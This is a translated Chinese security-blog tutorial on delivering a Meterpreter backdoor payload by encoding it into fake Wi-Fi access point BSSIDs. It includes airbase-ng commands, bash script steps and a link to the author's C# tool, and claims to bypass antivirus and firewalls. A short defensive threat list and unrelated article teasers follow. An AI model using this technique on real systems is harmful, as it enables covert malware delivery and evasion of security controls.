百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分析 > 正文

通过无线流量和BSSID传输后门有效载荷

liebian365 2024-11-04 14:25 23 浏览 0 评论

翻译:金乌实验室

稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


在这篇文章中,我想聊一聊无线AP和BSSID(AP的MAC地址)。我们的后门有效载荷没有进行文件系统加密和硬编码,因此我们可以利用这种方法绕过杀毒软件。我们的Meterpreter 有效载荷在网络流量中传输。

在这种情况下,攻击者可以通过篡改BSSID(环路更改,伪造AP)和逐步将后门有效载荷注入到BSSID(伪造的AP的MAC地址)发动攻击。在客户端,被感染的系统(后门系统)可以通过在AIR上扫描AP的MAC地址(BSSID)来转储这些有效载荷,不需要通过user-pass连接到伪造的AP。通过Wifi设备传输有效载荷,例如wlan(无线流量)也在我的讨论范围之内。在AIR上扫描BSSID 转储有效载荷后,Meterpreter会话通过Ethernet Network建立(没有Wifi 或者无线设备)。

恶意软件代码或简单的后门代码可以利用WIFI设备传输或者转储有效载荷,例如Wlan,最后你将得到有简单C#代码的 meterpreter 会话。

在这篇文章中,我使用Wifi设备仅仅是传输有效载荷(步骤1),通过扫描Wifi设备MAC地址(BSSID) 转储这些有效载荷,然后我的后门将通过eth0或Ethernet卡建立Meterpreter 会话,因此在这个阶段(步骤2),我们使用网络流量来建立Meterpreter 会话,不使用WIFI设备,。

注意:如果你想只通过WIFI设备来完成步骤1和步骤2,我认为技术上是可行的,但是我自己没有测试过。在步骤2中你可能会需要用到EvilTwin AP,还需要使Meterpreter Listener在伪造的AP网络子网中有一个IP地址,你可以使用MANA-Toolkit来完成这个操作。

链接:https://github.com/sensepost/mana

这个方法的重点是什么


重点是:恶意软件或后门有效载荷注入到WiFi设备的BSSID,以及通过无线流量传输是可能的。

从伪造的AP扫描注入的有效载荷到BSSID,步骤如下


例如我们要传输以下的有效载荷:

1
“fec8b00011ddc00945f1”

步骤1:攻击者系统将伪造的AP命名为“Fake”,MAC地址为00:fe:c8:b0:00:11

注意:Mac地址00:fe:c8:b0:00:11是注入的有效载荷,所以我们的有效载荷是“fec8b00011”,是有效载荷“fec8b00011ddc00945f1”的前半部分。

步骤2:后门系统扫描Essid“Fake”并转储BSSID

注意:你的后门代码应该转储这部分的BSSID或Mac地址fe:c8:b0:00:11 ==> fec8b00011

步骤3:攻击者系统将伪造的AP命名为“Fake”,Mac地址是00:dd:c0:09:45:f1

注意:Mac地址00:dd:c0:09:45:f1是注入的有效载荷,所以我们的有效载荷是“ddc00945f1”,是有效载荷 “fec8b00011ddc00945f1”的后半部分。

步骤4:后门系统扫描Essid“Fake”并转储BSSID

注意:你的后门代码应该转储这部分的BSSID或Mac地址dd:c0:09:45:f1 ==> ddc00945f1

这2步扫描之后,在被感染的系统(后门系统)中你将会得到有效载荷 fec8b00011ddc00945f1。

现在你了解了这种方法的工作原理,接下来我将通过在linux端的命令向你展示(步骤1和步骤3)更多的信息。下面我将通过命令伪造AP。

可选命令:在创建Wlan0mon之前更改WiFi卡的TXPower,这些命令可以帮助你更好的伪造AP信号,以便你可以手动操作此命令。

注意:这些命令在通过airmon-ng创建Wlan0Mon之前就该使用,这些命令是可选的,不是必需的。

使用WLAN卡的监控模式是伪造AP的重要步骤


你可以使用命令“airmon-ng start wlan0”为Wlan0创建“Wlan0Mon”监控模式。

注意:你可以手动运行此命令,或者可以在script1.sh文件中使用此命令,如步骤(cmd 1-1)。在本文中,我在攻击者端手动运行此命令。

步骤1:攻击者系统将伪造的AP命名为“Fake”,MAC地址为00:fe:c8:b0:00:11。

注意:Mac地址00:fe:c8:b0:00:11是注入的有效载荷,所以我们的有效载荷是“fec8b00011”

cmd 1-1:airmon-ng start wlan0

注意:创建Wlan0Mon(监控模式)

cmd 1-2:airbase-ng -a 00:fe:c8:b0:00:11 -essid“Fake”-I 10 -0 wlan0mon

注意:你需要15秒伪造AP,15秒后你可以通过killall命令在cmd 1-2终止这个命令。

cmd 1-3:sleep 15

cmd 1-4:killall airbase-ng

步骤3:攻击者系统将伪造的AP命名为“Fake”,MAC地址为00:dd:c0:09:45:f1

注意:Mac地址00:dd:c0:09:45:f1是注入的有效载荷,所以我们的有效载荷是“ddc00945f1”

cmd 3-1:airbase-ng -a 00:dd:c0:09:45:f1 -essid“Fake”-I 10 -0 wlan0mon

注意:你需要15秒伪造AP,15秒后你可以通过killall命令在cmd 3-1终止这个命令。cmd 3-2:sleep 15

cmd 3-3:killall airbase-ng

你可以看到在实施这些步骤的时候,我们需要使用以上命令,但是我在airbase-ng命令上遇到了大问题。

问题以及解决方案


问题出现在步骤(cmd 1-2)到(cmd 1-3)。

在步骤(cmd 1-2)之后,只有通过ctrl + c或kill能终止airbaseng命令,所以我的bash脚本总是停在步骤(cmd 1-2),直到我终止了进程。

针对这个问题,我的解决方案是使用2 个bash脚本文件:

第一个bash脚本文件是 “Script1.sh”, 使用于步骤(cmd 1-2和cmd 3-1)

注意:你可以在bash脚本的第一行中添加步骤(cmd 1-1)或手动执行。在本文中,我手动执行cmd 1-1。

第二个bash脚本是 “Script2.sh”,使用于步骤(cmd 1-3 & cmd 1-4 & cmd 3-2 & cmd 3-3)

所以在这种情况下,我们应该首先运行bash脚本“Script1.sh”,然后立即或2-3秒后运行bash脚本“Script2.sh”。

我们得到以下的文件:

Script1.sh文件:

注意:你可以在bash脚本“Script2.sh”文件中使用循环命令,例如使用(for)。

如图A所示,我们有script1.sh文件,用于将Meterpreter 有效载荷注入到BSSID。

图A

如图A所示,Meterpreter 有效载荷从第3行开始。在本文中我的Meterpreter 有效载荷是510字节。在这种情况下,使用airbase-ng命令可以为名为“Fake”的伪造AP注入5字节的有效载荷到BSSID。因此我们应该有102行用于通过airbase-ng命令将所有的有效载荷注入到BSSID。

102 * 5 = 510字节

注意:每个BSSID包含5个字节的有效载荷。

{5字节} ==> fc-48-83-e4-f0

在这种情况下,应将两个BSSID MAC地址添加到script1.sh文件。

如图A所示,我的脚本在第2行有MAC地址00:ff:ff:ff:ff:ff,这个Mac地址或BSSID是启动攻击和传输流量到被感染系统的标志,再如图B所示,此文件应该以BSSID {00:ff:00:ff:00:ff}结束。

BSSID注入循环:改变BSSID(102 + 2)= 104次。

图B

如图C所示,可以看到第二个脚本script2.sh文件,在这个文件中可以使用循环命令,例如(For)。

图C

在 “script2.sh” 文件中,应该至少kill airbase-ng 104次。

具体分析


接下来我要通过我的工具(NativePayload_BSSID.exe)来逐步分析这个方法:

步骤如下:

步骤0:创建Wlan0mon(监控模式)。

语法:airmon-ng start wlan0

步骤1:使用以下命令生成一个后门有效载荷:

步骤2:在payload.txt文件中将有效载荷的格式从“\ xfc \ x48 \ x83 \ xe4”替换为“fc4883e4”。

可以使用这个工具的 “帮助”显示所有的语法,如图1所示:

图片1

现在应该复制粘贴有效载荷字符串,通过NULL NativePayload_BSSID,如图1-1所示:

语法:c:\> NativePayload.exe null “fc4883e4...”

图1-1

接下来将所有行复制到一个bash脚本,例如“script1.sh”文件。

注意:仅复制粘贴airbase-ng命令行到script1.sh文件。

在这种情况下,这些行应该是102行+2 = 104行。

如图A所示,你应该在脚本的第一行手动添加 “#!/ bin / bash”,现在在这个文件中应该有105行。

步骤3:在Linux端运行Script1.sh。

更改chmod并运行此脚本,如图2所示:

图2

步骤4:创建 script2.sh,并更改此脚本的chmod,但是不需要在此步骤中运行这个脚本,如图3所示。

图3

注意:应该手动创建bash脚本,如图C所示。

步骤5:运行后门,使用NativePayload_BSSID.exe工具,如图4所示,我在kali linux创建了Meterpreter Listener,IPAddress 192-168-1-50,执行了“script1.sh”。

步骤5包含以下步骤:

步骤AA:Meterpreter Listener执行(linux)

步骤BB:script1.sh运行(linux)

步骤CC:后门“NativePayload_BSSID.exe” 运行(Windows)

步骤DD:script2.sh运行(linux)

在步骤CC中,应该使用以下的语法来执行后门NativePayload_BSSID,如图4所示

NativePayload_BSSID.exe “essid”

在本文中,我们在script1.sh中的ESSID是“Fake”,所以正确的语法是:

1
c:\> NativePayload_BSSID.exe“Fake”

如图4所示,执行步骤(AA,BB和CC)。

图4

如图4所示,由用户“u1”执行后门,接下来应该运行“script2.sh”(步骤DD)。

后门代码试图在AIR上扫描ESSID“Fake”,然后转储BSSID为“Fake”AP,因此如图4所示,我的代码转储4次BSSID“00:ff:ff:ff:ff:ff”,该BSSID是启动攻击和通过BSSID传输有效载荷的标志。

所以在AIR上,我们有以下这些步骤:

接下来运行script2.sh(步骤DD)。

在运行Script2.sh后,每15秒该脚本将从Script1.sh文件中删除一个Airbase-ng命令。

运行Script2.sh后,在AIR上我们有以下这些步骤:

如图5所示,我的后门在运行“script2.sh”文件后尝试转储BSSID。

图5:通过BSSID和无线流量传输后门有效载荷

如图6所示,30分钟后你将得到meterpreter 会话。

图6

在图中可以看到我们已经通过C#代码建立了Meterpreter会话,并且我的Kaspersky 2017杀毒软件被这个方法一次又一次地绕过。最终meterpreter会话成功建立了。

注意:在图7中你可以看到我的代码在15秒延迟后建立Meterpreter会话连接,所以如果你使用我的代码验证这个方法,转储所有的有效载荷后,你应该等待15秒,然后你将得到Meterpreter会话。

图7

结语


无线设备总是很容易被攻击,因此我们应该考虑以下威胁:

1. 恶意软件或后门有效载荷注入到WiFi设备的BSSID,以及通过无线流量传输是可能的。

2. 如果你想为你的客户端和网络基础设施使用WIFI设备,你应该考虑这些威胁。

3. 受感染的系统是脆弱的,你的客户端也许会被攻击者攻击。

4. 我的后门试图扫描ESSIDs,例如“Fake”,以转储BSSID,这个流量将会悄悄的工作。

5. 你的杀毒软件无法检测到,而且 LAN / WAN中的防火墙被绕过,因为我们没有任何流量通过这些基础设施。在这种情况下,在AIR上我们在被感染系统Wifi卡和攻击者系统Wifi卡之间有直接流量。在后门转储有效载荷后,我们不使用Wifi卡,而是通过LAN / WAN将Reverse_tcp Meterpreter会话流量从被感染系统传输到攻击者系统。因此在这种情况下,我们在Internet或LAN中有从后门系统到攻击者系统的传出流量,而且这个流量大部分情况下不会被Windows防火墙阻拦。

C#源代码:https://github.com/DamonMohammadbagher/NativePayload_BSSID

相关推荐

“版本末期”了?下周平衡补丁!国服最强5套牌!上分首选

明天,酒馆战棋就将迎来大更新,也聊了很多天战棋相关的内容了,趁此机会,给兄弟们穿插一篇构筑模式的卡组推荐!老规矩,我们先来看10职业胜率。目前10职业胜率排名与一周前基本类似,没有太多的变化。平衡补丁...

VS2017 C++ 程序报错“error C2065:“M_PI”: 未声明的标识符"

首先,程序中头文件的选择,要选择头文件,在文件中是没有对M_PI的定义的。选择:项目——>”XXX属性"——>配置属性——>C/C++——>预处理器——>预处理器定义,...

东营交警实名曝光一批酒驾人员名单 88人受处罚

齐鲁网·闪电新闻5月24日讯酒后驾驶是对自己和他人生命安全极不负责的行为,为守护大家的平安出行路,东营交警一直将酒驾作为重点打击对象。5月23日,东营交警公布最新一批饮酒、醉酒名单。对以下驾驶人醉酒...

Qt界面——搭配QCustomPlot(qt platform)

这是我第一个使用QCustomPlot控件的上位机,通过串口精确的5ms发送一次数据,再将读取的数据绘制到图表中。界面方面,尝试卡片式设计,外加QSS简单的配了个色。QCustomPlot官网:Qt...

大话西游2分享赢取种族坐骑手办!PK趣闻录由你书写

老友相聚,仗剑江湖!《大话西游2》2021全民PK季4月激燃打响,各PK玩法鏖战齐开,零门槛参与热情高涨。PK季期间,不仅各种玩法奖励丰厚,参与PK趣闻录活动,投稿自己在PK季遇到的趣事,还有机会带走...

测试谷歌VS Code AI 编程插件 Gemini Code Assist

用ClaudeSonnet3.7的天气测试编码,让谷歌VSCodeAI编程插件GeminiCodeAssist自动编程。生成的文件在浏览器中的效果如下:(附源代码)VSCode...

顾爷想知道第4.5期 国服便利性到底需优化啥?

前段时间DNF国服推出了名为“阿拉德B计划”的系列改版计划,截至目前我们已经看到了两项实装。不过关于便利性上,国服似乎还有很多路要走。自从顾爷回归DNF以来,几乎每天都在跟我抱怨关于DNF里面各种各样...

掌握Visual Studio项目配置【基础篇】

1.前言VisualStudio是Windows上最常用的C++集成开发环境之一,简称VS。VS功能十分强大,对应的,其配置系统较为复杂。不管是对于初学者还是有一定开发经验的开发者来说,捋清楚VS...

还嫌LED驱动设计套路深?那就来看看这篇文章吧

随着LED在各个领域的不同应用需求,LED驱动电路也在不断进步和发展。本文从LED的特性入手,推导出适合LED的电源驱动类型,再进一步介绍各类LED驱动设计。设计必读:LED四个关键特性特性一:非线...

Visual Studio Community 2022(VS2022)安装图文方法

直接上步骤:1,首先可以下载安装一个VisualStudio安装器,叫做VisualStudioinstaller。这个安装文件很小,很快就安装完成了。2,打开VisualStudioins...

Qt添加MSVC构建套件的方法(qt添加c++11)

前言有些时候,在Windows下因为某些需求需要使用MSVC编译器对程序进行编译,假设我们安装Qt的时候又只是安装了MingW构建套件,那么此时我们该如何给现有的Qt添加一个MSVC构建套件呢?本文以...

Qt为什么站稳c++GUI的top1(qt c)

为什么现在QT越来越成为c++界面编程的第一选择,从事QT编程多年,在这之前做C++界面都是基于MFC。当时为什么会从MFC转到QT?主要原因是MFC开发界面想做得好看一些十分困难,引用第三方基于MF...

qt开发IDE应该选择VS还是qt creator

如果一个公司选择了qt来开发自己的产品,在面临IDE的选择时会出现vs或者qtcreator,选择qt的IDE需要结合产品需求、部署平台、项目定位、程序猿本身和公司战略,因为大的软件产品需要明确IDE...

Qt 5.14.2超详细安装教程,不会来打我

Qt简介Qt(官方发音[kju:t],音同cute)是一个跨平台的C++开库,主要用来开发图形用户界面(GraphicalUserInterface,GUI)程序。Qt是纯C++开...

Cygwin配置与使用(四)——VI字体和颜色的配置

简介:VI的操作模式,基本上VI可以分为三种状态,分别是命令模式(commandmode)、插入模式(Insertmode)和底行模式(lastlinemode),各模式的功能区分如下:1)...

取消回复欢迎 发表评论: